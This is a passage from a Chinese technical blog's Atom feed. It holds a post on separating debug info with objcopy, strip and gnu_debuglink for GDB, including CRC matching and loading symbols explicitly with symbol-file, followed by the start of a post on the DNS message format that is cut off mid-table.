        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/gdb调试信息分离/">&lt;h1 id=&quot;diao-shi-xin-xi-fen-chi&quot;&gt;调试信息分离&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;gdbde-diao-shi-xin-xi-fen-chi-ji-zhi&quot;&gt;GDB的调试信息分离机制&lt;&#x2F;h2&gt;
&lt;p&gt;GDB 允许程序的调试信息和可执行文件分离。当可执行程序出现问题时，GDB 会自动查找和加载调试信息。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这种机制的实现原理是，GDB 通过两种方式来指定独立调试信息文件：&lt;&#x2F;li&gt;
&lt;li&gt;一种是可执行文件包含一个调试链接，它会指定独立调试信息文件的名称；&lt;&#x2F;li&gt;
&lt;li&gt;另一种是可执行文件包含一个构建标识符，它是一个唯一的位串，在相应的调试信息文件中也包含这个位串?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;diao-shi-lian-jie-xiang-jie&quot;&gt;调试链接详解&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;调试链接包含两个关键信息：&lt;&#x2F;li&gt;
&lt;li&gt;调试信息文件的名称和 CRC 校验和。
调试信息文件的名称通常为executable.debug，其中executable是相应的可执行文件的名称，不带有前导的目录名，方便查找。
CRC 校验和的目的是为了验证可执行程序和调试文件是否匹配。&lt;&#x2F;li&gt;
&lt;li&gt;在生成调试链接时，会将调试信息文件的名称和 CRC 校验和添加到可执行文件中&lt;&#x2F;li&gt;
&lt;li&gt;当 GDB 调试时，会根据这些信息来查找和加载调试信息。
&lt;ul&gt;
&lt;li&gt;例如，在编译生成release with debug info时，它包含调试信息，然后把它进行调试信息分离，生成一个可执行程序（用a代替）和调试信息文件（用b代替）。&lt;&#x2F;li&gt;
&lt;li&gt;接下来把调试链接做出来，就是在可执行程序a当中，加上一个链接，这个链接信息包含调试信息文件b的名字和 CRC 校验和 。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yi-redis-wei-li-de-diao-shi-liu-cheng&quot;&gt;以 Redis 为例的调试流程&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;bian-yi-dai-diao-shi-xin-xi-de-ke-zhi-xing-wen-jian&quot;&gt;编译带调试信息的可执行文件&lt;&#x2F;h2&gt;
&lt;p&gt;在编译 Redis 时，我们可以使用-O2或-O3优化选项来优化代码，提高运行效率，同时使用-g选项添加调试信息，-DENDEBUG用于禁用断言（在 Release 版本中通常会禁用断言以提高性能）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;make CFLAGS=&amp;quot;-O2 -g -DENDEBUG&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就会生成一个包含调试信息的 Redis 可执行程序，虽然文件大小可能会有所增加，但为后续的调试提供了便利。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhuan-cun-diao-shi-xin-xi&quot;&gt;转存调试信息&lt;&#x2F;h2&gt;
&lt;p&gt;我们使用objcopy工具将调试信息转存到一个新的文件中。命令如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;objcopy --only-keep-debug .&amp;#x2F;src&amp;#x2F;redis-server redis-server.debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令会把.&#x2F;src&#x2F;redis-server中的调试信息提取出来，保存到redis-server.debug文件中。&lt;&#x2F;p&gt;
&lt;p&gt;此时，redis-server.debug装满调试信息，里面包含了变量名、函数名、行号等重要信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qu-chu-ke-zhi-xing-cheng-xu-diao-shi-xin-xi&quot;&gt;去除可执行程序调试信息&lt;&#x2F;h2&gt;
&lt;p&gt;为了得到一个 “干净” 的、不包含调试信息的可执行程序，我们使用strip命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strip .&amp;#x2F;src&amp;#x2F;redis-server -o redis-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;经过这一步，redis-server就变成了一个体积更小、运行效率更高的裸可执行程序， 但缺少了调试所需的信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tian-jia-diao-shi-lian-jie&quot;&gt;添加调试链接&lt;&#x2F;h2&gt;
&lt;p&gt;最后，我们要为这个裸可执行程序添加调试链接，让它能够找到对应的调试信息文件。使用objcopy命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;objcopy --add-gnu-debuglink=redis-server.debug redis-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令会在redis-server中添加一个调试链接，链接到redis-server.debug文件。&lt;&#x2F;p&gt;
&lt;p&gt;此时，redis-server虽然不包含调试信息，但它知道从哪里获取调试信息，为后续的调试做好了准备。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-gdb-diao-shi&quot;&gt;用 GDB 调试&lt;&#x2F;h2&gt;
&lt;p&gt;现在，我们就可以使用 GDB 来调试这个带有调试链接的可执行程序了。&lt;&#x2F;p&gt;
&lt;p&gt;启动 GDB 并加载redis-server：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gdb redis-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;GDB 会自动根据调试链接找到redis-server.debug文件，并加载其中的调试信息。&lt;&#x2F;p&gt;
&lt;p&gt;在 GDB 中，我们可以使用各种调试命令，如设置断点（break）、查看变量值（print）、单步执行（step）等，从而定位和解决程序中的问题。例如，我们可以在某个函数处设置断点，查看程序执行到该点时变量的值，分析程序的执行逻辑是否正确。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sheng-chan-huan-jing-shi-ce-bu-chong&quot;&gt;生产环境实测补充&lt;&#x2F;h1&gt;
&lt;p&gt;上面这套流程算是&quot;原理篇&quot;。2026-08 在 wfuzz-utils 里做 release 构建 + 符号分离 + 部署机 core 调试时，实测补充了下面几个容易踩的结论（构建流程：&lt;code&gt;CARGO_PROFILE_RELEASE_DEBUG=1&lt;&#x2F;code&gt; 生成行号级 DWARF → &lt;code&gt;--only-keep-debug&lt;&#x2F;code&gt; 剥离到包外 &lt;code&gt;.debug&lt;&#x2F;code&gt; → &lt;code&gt;--add-gnu-debuglink&lt;&#x2F;code&gt; 关联 → 发布 tar 包内不放符号文件）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-mei-you-debug-wen-jian-shi-bt-huan-neng-yong-ma&quot;&gt;1. 没有 .debug 文件时，bt 还能用吗？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;能，但只有函数名，没有行号。&lt;&#x2F;strong&gt; 关键区别在 strip 的粒度：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;objcopy --strip-debug&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;strip --strip-debug&lt;&#x2F;code&gt;：只去掉调试段，&lt;strong&gt;保留 &lt;code&gt;.symtab&lt;&#x2F;code&gt; 符号表&lt;&#x2F;strong&gt; → gdb 的 &lt;code&gt;bt&lt;&#x2F;code&gt; 还能解析出函数名（如 &lt;code&gt;#0 0x... &amp;lt;abort&amp;gt;&lt;&#x2F;code&gt;），&lt;code&gt;info line&lt;&#x2F;code&gt; 则报 &lt;code&gt;No line number information available&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;strip -s&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;strip --strip-all&lt;&#x2F;code&gt;：连符号表也删 → &lt;code&gt;bt&lt;&#x2F;code&gt; 只有裸地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实测（同一二进制，无&#x2F;有 &lt;code&gt;.debug&lt;&#x2F;code&gt; 对照）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gdb -batch -ex &amp;#x27;file message-queue-enhance&amp;#x27; -ex &amp;#x27;info line *0x348b31&amp;#x27;
# 无 .debug：No line number information available for address 0x348b31 &amp;lt;abort&amp;gt;
# 有 .debug：Line 10 of &amp;quot;..&amp;#x2F;src_musl&amp;#x2F;src&amp;#x2F;exit&amp;#x2F;abort.c&amp;quot; starts at address 0x348b31 &amp;lt;abort&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也就是说：&lt;strong&gt;没有 .debug 至少能粗定位调用链（函数名），定位到行必须带符号文件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-gnu-debuglink-li-zhi-you-wen-jian-ming-mei-you-lu-jing&quot;&gt;2. &lt;code&gt;.gnu_debuglink&lt;&#x2F;code&gt; 里只有文件名，没有路径&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;objdump -s --section .gnu_debuglink &amp;lt;bin&amp;gt;&lt;&#x2F;code&gt; 看到的只有文件名 + 4 字节 CRC32，&lt;strong&gt;没有路径&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Contents of section .gnu_debuglink:
 0000 6d657373 6167652d 71756575 652d656e  message-queue-en
 0010 68616e63 652e6465 62756700 c9ef7c32  hance.debug...|2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以 GDB 查找 &lt;code&gt;.debug&lt;&#x2F;code&gt; 按以下顺序，找不到就放弃：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;二进制同目录&lt;&#x2F;strong&gt;下的同名 &lt;code&gt;.debug&lt;&#x2F;code&gt; —— 这正是部署机的调试姿势：把 &lt;code&gt;.debug&lt;&#x2F;code&gt; 拷到 bin 同目录，&lt;code&gt;gdb bin&#x2F;xxx &amp;lt;core&amp;gt;&lt;&#x2F;code&gt; 自动加载，无需任何参数；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;debug-file-directory&lt;&#x2F;code&gt;（&lt;code&gt;gdb -d &amp;lt;dir&amp;gt;&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;set debug-file-directory &amp;lt;dir&amp;gt;&lt;&#x2F;code&gt;）指定的目录。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;3-dan-bu-diao-shi-huan-xu-yao-yuan-ma&quot;&gt;3. 单步调试还需要源码&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;.debug&lt;&#x2F;code&gt; 里只有行号表和变量描述，GDB 显示代码行、&lt;code&gt;next&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;step&lt;&#x2F;code&gt; 定位都依赖&lt;strong&gt;读取真实的源码文件&lt;&#x2F;strong&gt;。且 DWARF 里的路径是编译时的——rustc 和 C 编译器记录方式不同：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --debug-dump=info &amp;lt;bin&amp;gt;.debug | grep -m1 DW_AT_comp_dir
DW_AT_comp_dir : &amp;#x2F;build&amp;#x2F;musl-cross-make&amp;#x2F;build&amp;#x2F;local&amp;#x2F;x86_64-linux-musl&amp;#x2F;obj_musl
DW_AT_name     : crates&amp;#x2F;message-queue-enhance&amp;#x2F;src&amp;#x2F;main.rs&amp;#x2F;@&amp;#x2F;...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;rustc（crate 源码）&lt;&#x2F;strong&gt;：Cargo 传相对路径 → DWARF 记录相对路径（&lt;code&gt;crates&#x2F;...&#x2F;src&#x2F;main.rs&lt;&#x2F;code&gt;，相对容器编译目录）→ &lt;code&gt;gdb -d &amp;lt;源码仓库根&amp;gt;&lt;&#x2F;code&gt; 直接对上；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;musl libc 等 C&#x2F;汇编&lt;&#x2F;strong&gt;：交叉编译器按绝对路径编译 → &lt;code&gt;comp_dir&lt;&#x2F;code&gt; 是 &lt;code&gt;&#x2F;build&#x2F;musl-cross-make&#x2F;...&lt;&#x2F;code&gt;（构建机路径）→ 部署机上没有这份源码，可用 &lt;code&gt;set substitute-path &#x2F;build&#x2F;musl-cross-make&#x2F;... &#x2F;your&#x2F;srcdir&lt;&#x2F;code&gt; 映射。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际上只调试 Rust 栈帧的话，C 帧显示地址没有源码也能接受。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-yi-ge-keng-debug-bi-xu-yu-tong-ci-gou-jian-de-binary-pei-tao&quot;&gt;4. 一个坑：&lt;code&gt;.debug&lt;&#x2F;code&gt; 必须与同次构建的 binary 配套&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;--add-gnu-debuglink&lt;&#x2F;code&gt; 写入的是文件名 + &lt;strong&gt;CRC 校验和&lt;&#x2F;strong&gt;，&lt;code&gt;objcopy&lt;&#x2F;code&gt;&#x2F;gdb 加载时会校验匹配。所以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;换了二进制必须重新构建&#x2F;重新提取同次产出的 &lt;code&gt;.debug&lt;&#x2F;code&gt;，不能用旧包的 &lt;code&gt;.debug&lt;&#x2F;code&gt; 配新 binary；&lt;&#x2F;li&gt;
&lt;li&gt;变量级调试（&lt;code&gt;CARGO_PROFILE_RELEASE_DEBUG=2&lt;&#x2F;code&gt; 生成全量 DWARF）同样要重建配套 pair——debug 等级只是信息量不同，关联机制一样。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;5-crc-xiao-yan-you-duo-yan-bei-ju-zai-hou-de-liang-tiao-chu-lu&quot;&gt;5. CRC 校验有多严？被拒载后的两条出路&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;沿 &lt;code&gt;.gnu_debuglink&lt;&#x2F;code&gt; 的自动加载是字节级校验&lt;&#x2F;strong&gt;：&lt;code&gt;.debug&lt;&#x2F;code&gt; 改掉一个字节就拒载（实测）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;warning: the debug information found in &amp;quot;…&amp;#x2F;full.debug&amp;quot; does not match &amp;quot;…&amp;#x2F;bin&amp;quot; (CRC mismatch).
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;且这条路径在 &lt;code&gt;file &amp;lt;bin&amp;gt;&lt;&#x2F;code&gt;、&lt;code&gt;gdb -p &amp;lt;pid&amp;gt;&lt;&#x2F;code&gt;（attach，gdb 自动从 &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;exe&lt;&#x2F;code&gt; 识别二进制并沿 debuglink 查找）都生效——结论都一样：&lt;strong&gt;同目录 + 未修改 + 配套&lt;&#x2F;strong&gt;才自动加载。&lt;&#x2F;p&gt;
&lt;p&gt;绕不过只能&quot;换路&quot;——&lt;strong&gt;显式加载符号文件不做任何 CRC 校验&lt;&#x2F;strong&gt;（gdb 信任用户的显式指定）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 等价两种写法，注意顺序：symbol-file 必须在 file 之后，否则符号会被 file 重置
gdb &amp;lt;bin&amp;gt; -ex &amp;#x27;symbol-file &amp;lt;任意路径&amp;gt;&amp;#x2F;xxx.debug&amp;#x27; &amp;lt;core&amp;gt;
gdb -p &amp;lt;pid&amp;gt; -ex &amp;#x27;symbol-file &amp;lt;任意路径&amp;gt;&amp;#x2F;xxx.debug&amp;#x27;
# attach 场景同样可以先 attach 再 symbol-file，绕过同目录&amp;#x2F;同名&amp;#x2F;CRC 限制
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测：改过一字节的 &lt;code&gt;.debug&lt;&#x2F;code&gt;，用 &lt;code&gt;symbol-file&lt;&#x2F;code&gt; 挂载照样 &lt;code&gt;Line 2 of &quot;foo.c&quot;&lt;&#x2F;code&gt; 正常出源码行。代价是——&lt;strong&gt;不配套的风险从&quot;机制强制&quot;变成&quot;自己负责&quot;&lt;&#x2F;strong&gt;：符号文件与二进制不是同一构建时会行号错位，这是 CRC 原本保护的东西。&lt;&#x2F;p&gt;
&lt;p&gt;命令行 &lt;code&gt;--symbols=FILE&lt;&#x2F;code&gt; 版注意一个坑：&lt;code&gt;gdb --symbols=full bin&lt;&#x2F;code&gt; 若随后执行 &lt;code&gt;file &amp;lt;bin&amp;gt;&lt;&#x2F;code&gt;，符号会被 file 重置丢失；安全写法是 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 运行时 &lt;code&gt;symbol-file&lt;&#x2F;code&gt; &lt;code&gt;-ex&lt;&#x2F;code&gt; 命令（在 &lt;code&gt;file&lt;&#x2F;code&gt; 之后执行）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;kQcDSKG40vWJP4cUvyfgMA&quot;&gt;gdb调试&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DNS报文格式</title>
        <published>2025-08-12T00:00:00+00:00</published>
        <updated>2025-08-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/dns报文格式/"/>
        <id>https://vercel.juzhong.asia/obsidian/dns报文格式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/dns报文格式/">&lt;h1 id=&quot;dnsbao-wen-ge-shi&quot;&gt;DNS报文格式&lt;&#x2F;h1&gt;
&lt;p&gt;经过前面学习，我们知道查询一个域名，需要与 DNS 服务器进行通信。那么，DNS 通信过程大概是怎样的呢？&lt;&#x2F;p&gt;
&lt;p&gt;DNS 是一个典型的 Client-Server 应用，客户端发起域名查询请求，服务端对请求进行应答：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-client-server-query.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;DNS 一般采用 UDP 作为传输层协议（ TCP 亦可），端口号是 53 。请求报文和应答报文均作为数据，搭载在 UDP 数据报中进行传输：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-over-udp-port-53.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;很显然，DNS 请求报文和应答报文均需要满足一定的格式，才能被通信双方所理解。这就是 DNS 协议负责的范畴，它位于传输层之上，属于 &lt;strong&gt;应用层&lt;&#x2F;strong&gt; 协议。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-wen-ge-shi&quot;&gt;报文格式&lt;&#x2F;h2&gt;
&lt;p&gt;DNS 报文分为 &lt;strong&gt;请求&lt;&#x2F;strong&gt; 和&lt;strong&gt;应答&lt;&#x2F;strong&gt; 两种，结构是类似的，大致分为五部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;头部（ &lt;em&gt;header&lt;&#x2F;em&gt; ），描述报文类型，以及其下 4 个小节的情况；&lt;&#x2F;li&gt;
&lt;li&gt;问题节（ &lt;em&gt;question&lt;&#x2F;em&gt; ），保存查询问题；&lt;&#x2F;li&gt;
&lt;li&gt;答案节（ &lt;em&gt;answer&lt;&#x2F;em&gt; ），保存问题答案，也就是查询结果；&lt;&#x2F;li&gt;
&lt;li&gt;授权信息节（ &lt;em&gt;authority&lt;&#x2F;em&gt; ），保存授权信息；&lt;&#x2F;li&gt;
&lt;li&gt;附加信息节（ &lt;em&gt;additional&lt;&#x2F;em&gt; ），保存附加信息；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;也有不少文献将 DNS 请求称为 DNS &lt;strong&gt;查询&lt;&#x2F;strong&gt;（ query ），两者是一个意思。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-message-format-structure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中，头部是固定的，共 12 字节；其他节不固定，记录数可多可少，数目保存在头部中。头部分为 6 个字段：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标识&lt;&#x2F;strong&gt;（ &lt;em&gt;identifier&lt;&#x2F;em&gt; ），一个 16 位的 ID ，在应答中原样返回，以此匹配请求和应答；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;标志&lt;&#x2F;strong&gt;（ &lt;em&gt;flags&lt;&#x2F;em&gt; ），一些标志位，共 16 位；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;问题记录数&lt;&#x2F;strong&gt;（ &lt;em&gt;question count&lt;&#x2F;em&gt; ），一个 16 位整数，表示问题节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;答案记录数&lt;&#x2F;strong&gt;（ &lt;em&gt;answer count&lt;&#x2F;em&gt; ），一个 16 位整数，表示答案节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;授权信息记录数&lt;&#x2F;strong&gt;（ &lt;em&gt;authority record count&lt;&#x2F;em&gt; ），一个 16 位整数，表示授权信息节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;附加信息记录数&lt;&#x2F;strong&gt;（ &lt;em&gt;additional record count&lt;&#x2F;em&gt; ），一个 16 位整数，表示附加信息节中的记录个数；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们来解释一下标志字段中的各个标志位：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;QR 位标记报文是一个查询请求，还是查询应答；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 表示查询请求；&lt;&#x2F;li&gt;
&lt;li&gt;1 表示查询应答；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;操作码&lt;&#x2F;strong&gt;（ &lt;em&gt;opcode&lt;&#x2F;em&gt; ）占 4 位，表示操作类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 代表标准查询；&lt;&#x2F;li&gt;
&lt;li&gt;1 代表反向查询；&lt;&#x2F;li&gt;
&lt;li&gt;2 代表服务器状态请求；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;AA 位表示 &lt;strong&gt;权威回答&lt;&#x2F;strong&gt;（ &lt;em&gt;authoritative answer&lt;&#x2F;em&gt; ），意味着当前查询结果是由域名的权威服务器给出的；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;TC 位表示 &lt;strong&gt;截短&lt;&#x2F;strong&gt;（ &lt;em&gt;truncated&lt;&#x2F;em&gt; ），使用 UDP 时，如果应答超过 512 字节，只返回前 512 个字节；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;RD 位表示 &lt;strong&gt;期望递归&lt;&#x2F;strong&gt; （ &lt;em&gt;recursion desired&lt;&#x2F;em&gt; ），在请求中设置，并在应答中返回；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;该位为 1 时，服务器必须处理这个请求：如果服务器没有授权回答，它必须替客户端请求其他 DNS 服务器，这也是所谓的 &lt;strong&gt;递归查询&lt;&#x2F;strong&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;该位为 0 时，如果服务器没有授权回答，它就返回一个能够处理该查询的服务器列表给客户端，由客户端自己进行 &lt;strong&gt;迭代查询&lt;&#x2F;strong&gt; ；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;RA 位表示可递归（ &lt;em&gt;recursion available&lt;&#x2F;em&gt; ），如果服务器支持递归查询，就会在应答中设置该位，以告知客户端；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;保留位，这 3 位目前未用，留作未来扩展；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;响应码&lt;&#x2F;strong&gt;（ &lt;em&gt;response code&lt;&#x2F;em&gt; ）占 4 位，表示请求结果，常见的值包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 表示没有差错；&lt;&#x2F;li&gt;
&lt;li&gt;3 表示名字差错，该差错由权威服务器返回，表示待查询的域名不存在；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wen-ti-ji-lu&quot;&gt;问题记录&lt;&#x2F;h2&gt;
&lt;p&gt;客户端查询域名时，需要向服务端发送请求报文；待查询域名作为问题记录，保存在问题节中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-question-record-format.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;问题节支持保存多条问题记录，记录条数则保存在 DNS 头部中的问题记录数字段。这意味着，DNS 协议单个请求能够同时查询多个域名，虽然通常只查询一个。&lt;&#x2F;p&gt;
&lt;p&gt;一个问题记录由 3 个字段组成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;待查询域名&lt;&#x2F;strong&gt;（ Name ），这个字段长度不固定，由具体域名决定；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查询类型&lt;&#x2F;strong&gt;（ Type ），域名除了关联 IP 地址，还可以关联其他信息，常见类型包括（下节详细介绍）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1 表示 A 记录，即 IP 地址；&lt;&#x2F;li&gt;
&lt;li&gt;28 表示 AAAA 记录，即 IPv6 地址；&lt;&#x2F;li&gt;
&lt;li&gt;etc&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;类&lt;&#x2F;strong&gt; （ Class ）通常为 1 ，表示 TCP&#x2F;IP 互联网地址；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们回过头来考察域名字段，它的长度是不固定的。域名按 &lt;code&gt;.&lt;&#x2F;code&gt; 切分成若干部分，再依次保存。每个部分由一个前导计数字节开头，记录当前部分的字符数。&lt;&#x2F;p&gt;
&lt;p&gt;以域名 &lt;code&gt;fasionchan.com.&lt;&#x2F;code&gt; 为例，以 &lt;code&gt;.&lt;&#x2F;code&gt; 切分成 3 个部分，&lt;code&gt;fasionchan&lt;&#x2F;code&gt; 、&lt;code&gt;com&lt;&#x2F;code&gt; 以及空字符串  。请注意，空字符串  代表根域。因此，待查询域名字段依次为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个前导字节保存整数 10 ，然后 10 个字节保存 &lt;code&gt;fasionchan&lt;&#x2F;code&gt; 部分（二级域）；&lt;&#x2F;li&gt;
&lt;li&gt;一个前导字节保存整数 3 ，然后 3 个字节保存 &lt;code&gt;com&lt;&#x2F;code&gt; 部分（一级域）；&lt;&#x2F;li&gt;
&lt;li&gt;一个前导字节保存整数 0 ，然后 0 个字节保存 &lt;code&gt; &lt;&#x2F;code&gt; 部分（根域）；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由此可见，每一级域名的长度理论上可以支持多达 255 个字符。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;查询类型&lt;&#x2F;th&gt;&lt;th&gt;名称代码&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;IPv4地址&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
